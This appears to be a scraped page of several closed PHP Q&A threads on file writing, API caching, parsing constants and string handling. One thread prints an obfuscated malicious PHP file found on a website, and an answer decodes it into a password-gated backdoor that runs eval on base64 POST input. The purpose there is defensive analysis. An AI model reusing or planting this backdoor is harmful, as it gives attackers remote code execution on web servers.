Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
In the program below
$array[name1][0] = 'name';
$array[name1][1] = '11';
$array[name2][0] = 'name2';
$array[name2][1] = '11';
$fileName = "file.php"
$fp = fopen($fileName,'w');
$msg = $array;
fwrite($fp,$msg);
fclose($fp);
In this file "file.php", i want to write an array...such tha its read like
<?
$array[name1][0] = 'name';
$array[name1][1] = '11';
$array[name2][0] = 'name2';
$array[name2][1] = '11';
but it's not working.
Use json_encode or serialize to get a storable (and compact) representation of your data structure, then json_decode or unserialize to get it back.
The var_export function does just that:
fprintf($fp, '<?php $array = %s;', var_export($array, true));
It generates valid PHP code and you can include the file after that:
include "file.php";
Note that you can return from a PHP file, so this would work too:
fprintf($fp, '<?php return %s;', var_export($array, true));
And then:
$array = include "file.php";
Alternatives to generating PHP code are json_encode/json_decode, or serialize/unserialize.
You can do it like this:
fwrite($fp,print_r($msg,true));
If you want to be able to read the file later and get an PHP array back, then you need to "serialize" the array:
and later
$array = unserialize(file_get_contents("test.data"));
if it should look readable in the file, you var_export($array,1) or print_r($array,1) and store their output.
The closest you're going to get, natively, is by using var_export and writing its return value to the file.
Failing that, you should implement something to build that format from an Array.
Related
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 4 years ago.
Improve this question
In my PHP app I am retrieving data from a REST API (namely PokeAPI) and want to be able to cache the information I retrieve from it in order to cut down on time and API requests. What would be the best way to go about doing this?
Here is the code I am using the API for:
<?php
$base = "http://pokeapi.co/api/v2/pokemon/";
if (isset($_POST["dexno"])) {
$dexarray = $_POST["dexno"];
foreach( $dexarray as $d ) {
$data = #file_get_contents($base.$d);
if ($data != "") {
$pokemon = json_decode($data);
$img = $pokemon->sprites->front_default;
$imageData = base64_encode(file_get_contents($img));
echo '<img src="data:image/png;base64,'.$imageData.'">'.'<br>';
echo $pokemon->name.'<br>';
} }
}
?>
This simply takes numerical data from an array, puts it into a URL and pulls information from the URL generated. Any help would be much appreciated, as I have only just started learning PHP.
Like this:
$json = ""; //your json string.
$fh = fopen("myCacheFile.jsoN" , "w+");
fwrite($fh , $json);
fclose($fh);
If you want short code:
file_put_contents("myCacheFile.json" , $json);
To Retrieve:
$arr = json_decode(file_get_contents("myCacheFile.json") , true);
You can simply store the data in file on disk, and next time before making the call read from disk.
You can store it in database, and read from there.
You can use redis / memcached to store it in memory.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
Just a quick question....
I found a malicious file on a site (since removed) but I'm wondering what it's doing. Below is the code, any insight would be greatly appreciated.
function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"#$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} #_g1qm0();
}
This code is not complete but from what I've decoded it is:
$log = 'prt';
if (!isset($_SESSION)) {
session_start();
}
if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {
if (isset($_POST['mtq'])) {
$pt = base64_decode($_POST['mtq']);
eval($pt);
exit;
}
}
if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) {
$_SESSION['log'] = $log; exit;
}
So in simple words it looks from mtq param from POST request and executes it in shell. Data comes in base64 encoded format. It also stores one variable in session on key log
Also
$_myfunc2 = "\x63\x68\x72"; it is decoded to chr which is function in PHP that returns character based on ASCII code.
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
looks like md5 hash but I'm not sure
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
It is $_g1qm3 is strrev function
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
It is base64_decode()
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
It's preg_replace()
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65")
It's eval()
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
Latest Edit:
Well, I came up with fairly "reliable" :) solution in form of a (portable) function, but since some ppl here got irked enough by not understanding the problem and blocked this question (a military solution: kill what you do not understand), I cannot post it here. Pity.
I have a set of files, which contain constants, like below.
define ('LNG_GSU_LNK_LBL', '[details]');
define( 'LNG_METHODCROSS_GSU_CLS' ,'class');
define('GSU_METH' , 'method');
define ( 'CROSS_GSU_ACTION_NO_REMOVE', 'cannot remove \' module \'(is); deployed');
What would be most reliable method to retrieve constant names and values from given, selected file.
EDIT:
I need to get these constants into array, without defining them actually, directly by reading file, e.g.:
array('LNG_GSU_LNK_LBL'=>'[details]','LNG_METHODCROSS_GSU_CLS'=> 'class')
... etc
EDIT 2:
So far I got this far:
$file_array = file($path, FILE_SKIP_EMPTY_LINES);
//implode lang file into a string removing php tags
$string1 = implode('', $file_array);
$string2 = str_replace(array(''), '', $string1);
//regex removing content between markers
$regex = '/\/\*.+?\*\//si';
$replace_with = '';
$replace_where = $string2;
$string3 = preg_replace($regex, $replace_with, $replace_where);
//regex: remove multiple newlines
$string4 = preg_replace("/\n+/", "\n", $string3);
EDIT 3:
expected result
array (
'LNG_GSU_LNK_LBL' => '[details]',
'LNG_METHODCROSS_GSU_CLS' => 'class',
'GSU_METH' => 'method',
'CROSS_GSU_ACTION_NO_REMOVE' => 'cannot remove \' module \'(is); deployed'
);
If you dont want to include the file, then you should use: token_get_all().
Otherwise, you should require/include the file containing them and you can iteratively use get_defined_constants():
$all = array();
$consts = get_defined_constants();
foreach($consts as $k=>$v){
if (strpos($k,"LNG")===0 && !isset($all[$k]))
$all[$k]=$v;
}
Note that parsing php source code is like parsing HTML with regex, better bet avoid it.
Building on dynamic's answer, include the file within another, separate, web accessible file, that is not loaded within your current application (so will have no other user defined constants at run time):
//standalone.php
include "that_file.php";
$consts = get_defined_constants(true);
$newUserConsts = $consts['user'];
echo json_encode($newUserConsts);
//within your application
$newUserConsts = json_decode(file_get_contents('http://yoursite.com/standalone.php'));
Or if you cant make a separate web accessible file:
$consts = get_defined_constants(true);
$existingUserConsts = $consts['user'];
include "that_file.php";
$consts = get_defined_constants(true);
$newUserConsts = $consts['user'];
var_dump(array_diff_key($newUserConsts, $existingUserConsts));
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
Well I am trying to make a simple php system.
Anywise I need to separate the text when I want to add it to the database.
So for example I want to add:
abc:123
I want that the : will be the separater, so it'll look like this:
abc
123
And then both will go to a different table.
Could someone help me with this? As I am not an experience PHP coder, yet I am willing to learn how to do this.
Kind regards
This is pretty basic stuff..
$data = explode(':','abc:123');
foreach($data as $word)
{
// some code here
}
Use Split:
<?php
$data = "abc:123";
list ($var1, $var2) = split (':', $data);
echo "Var1: $var1; Var2: $var2;<br />\n";
?>
You can achieve this using explode.
abc:123
Is a string. Let's define it as a variable:
$origin = "abc:123";
You can split the string, using : as the separator.
$separator = ":";
$exploded = explode($separator, $origin);
Now you have an array which you can use to access abc and 123 individually.
$pre = $exploded[0];
$post = $exploded[1];
You don't know how many splits there will be?
That's okay. Your array simply increases, meaning you can simply loop through the array and handle the values.
foreach ($exploded as $split)
{
// Do something with $split
}
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
I have an array of keys and a medium/long string.
I need to replace only max 2 keys that I found in this text with the same keys wrapped with a link.
Thanks.
ex.:
$aKeys = array();
$aKeys[] = "beautiful";
$aKeys[] = "text";
$aKeys[] = "awesome";
...
$aLink = array();
$aLink[] = "http://www.domain1.com";
$aLink[] = "http://www.domain2.com";
$myText = "This is my beautiful awesome text";
should became "This is my <a href='http://www.domain1.com'>beautiful</a> awesome <a href='http://www.domain2.com'>text</a>";
Don't really understood what you need but you can do something like:
$aText = explode(" ", $myText);
$iUsedDomain = 0;
foreach($aText as $sWord){
if(in_array($sWord, $aKeys) and $iUsedDomain < 2){
echo "<a href='".$aLink[$iUsedDomain++]."'>".$sWord."</a> ";
}
else{ echo $sWord." "; }
}
So, you could use a snippet like this. I recommend you to update this code by using clean classes instead of stuff like global - just used this to show you how you could solve this with less code.
// 2 is the number of allowed replacements
echo preg_replace_callback('!('.implode('|', $aKeys).')!', 'yourCallbackFunction', $myText, 2);
function yourCallbackFunction ($matches)
{
// Get the link array defined outside of this function (NOT recommended)
global $aLink;
// Buffer the url
$url = $aLink[0];
// Do this to reset the indexes of your aray
unset($aLink[0]);
$aLink = array_merge($aLink);
// Do the replace
return ''.$matches[1].'';
}